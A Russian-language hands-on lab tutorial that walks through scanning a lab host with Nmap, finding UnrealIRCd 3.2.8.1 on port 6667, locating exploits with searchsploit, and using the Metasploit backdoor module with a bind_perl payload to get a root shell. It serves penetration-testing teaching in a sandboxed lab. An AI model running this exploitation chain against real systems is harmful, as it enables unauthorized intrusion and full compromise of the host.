Использование Nmap для сканирования и эксплуатации уязвимостей целевого хоста

NmapBeginner
Практиковаться сейчас

Введение

Сетевое сканирование — это дисциплина, требующая активной практики. С помощью сканирования сети пользователи могут обнаруживать порты, назначенные различным службам на целевом хосте, открытые службы, программное обеспечение и версии служб, а также другую информацию.

В этой лабораторной работе вы научитесь сканировать целевой хост на наличие уязвимостей в сетевых службах.

Использование Nmap для сканирования открытых портов на целевом хосте

Базовый рабочий процесс сетевого сканирования выглядит следующим образом:

  1. Обнаружение целевого хоста
  2. Сканирование портов
  3. Сканирование информации об отпечатках (fingerprinting)
  4. Сканирование уязвимостей
  5. Проведение атак на проникновение

Nmap (Network Mapper) — это мощный инструмент для сканирования сетей. Он поддерживает различные методы сканирования, такие как UDP, TCP connect(), TCP SYN (полуоткрытое сканирование), FTP-прокси (атака через перенаправление), обратные флаги, ICMP, FIN, ACK, SYN и null-сканирование.

На этом этапе вы будете использовать Nmap для сканирования открытых портов на целевом хосте. В настройках лабораторной работы уже запущена уязвимая учебная служба по адресу 192.168.122.102, поэтому ваше сканирование должно обнаружить активный хост, а не сообщить о его недоступности.

  1. Откройте терминал и войдите в контейнер Kali:
docker run -ti --network host b5b709a49cd5 bash
  1. Используйте команду nmap для сканирования целевого хоста 192.168.122.102:
nmap -p 6667 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Эта команда сканирует порт 6667 на целевом хосте, использует ускоренную политику тайминга, включает определение версий и сохраняет вывод в файл /tmp/report.txt.

Анализ результатов сканирования

После сканирования целевого хоста необходимо проанализировать результаты для выявления потенциальных уязвимостей.

  1. Просмотрите отчет о сканировании:
cat /tmp/report.txt

Эта команда выводит содержимое файла /tmp/report.txt, который содержит информацию об открытых портах, службах и их версиях на целевом хосте. Успешное сканирование должно показать, что хост активен, а порт 6667 открыт, как в следующем примере:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Discovered open port 6667/tcp on 192.168.122.102
Nmap scan report for 192.168.122.102
Host is up.

PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd 3.2.8.1

Service Info: Host: labex-target
  1. Используйте инструмент searchsploit для поиска информации об уязвимостях:
searchsploit unreal ircd

Эта команда ищет в базе данных эксплойтов (Exploit Database) уязвимости, связанные со службой "unreal ircd". Вот пример того, как может выглядеть вывод:

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. Просмотрите детали уязвимости:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

Эта команда отображает содержимое файла эксплойта уязвимости, расположенного по адресу /usr/share/exploitdb/exploits/linux/remote/16922.rb.

Эксплуатация уязвимости

После анализа результатов сканирования и выявления потенциальных уязвимостей вы можете попытаться использовать одну из них для проведения атаки.

  1. Определите уязвимость, которую можно эксплуатировать, исходя из результатов сканирования. Например, предположим, что сканирование обнаружило открытый порт 6667 с уязвимой службой.

  2. Запустите Metasploit Framework:

cd ~
msfconsole
  1. В консоли Metasploit выберите соответствующий модуль эксплойта:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Установите IP-адрес целевого хоста:
set RHOST 192.168.122.102
  1. Установите полезную нагрузку (payload):
set PAYLOAD cmd/unix/bind_perl
  1. Запустите эксплойт:
exploit

Если эксплуатация прошла успешно, вы получите доступ к целевому хосту.

  1. После попытки эксплуатации уязвимости необходимо проверить, была ли она успешной. В сессии Metasploit проверьте текущего пользователя и имя хоста:
whoami
hostname

Если вывод показывает, что вы вошли в систему как пользователь root, значит, эксплуатация прошла успешно. В этой лабораторной работе уязвимая служба запущена внутри изолированного сетевого пространства имен на учебной виртуальной машине, поэтому вывод hostname будет показывать имя текущей виртуальной машины LabEx, а не отдельной гостевой системы.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Резюме

В этой лабораторной работе вы изучили базовый рабочий процесс сетевого сканирования, который включает обнаружение целевого хоста, сканирование портов, получение информации об отпечатках, сканирование уязвимостей и проведение атак на проникновение. Вы использовали мощный инструмент Nmap для сканирования открытых портов на целевом хосте и проанализировали результаты для выявления потенциальных уязвимостей. Кроме того, вы научились искать информацию об уязвимостях с помощью инструмента searchsploit и эксплуатировать их с помощью Metasploit Framework. Наконец, вы подтвердили успех эксплуатации, проверив текущего пользователя и имя хоста на целевой системе.

Благодаря этой практической работе вы получили опыт сканирования уязвимостей сетевых служб и проведения атак. Эти знания критически важны для обеспечения безопасности сетевых систем и выявления потенциальных рисков.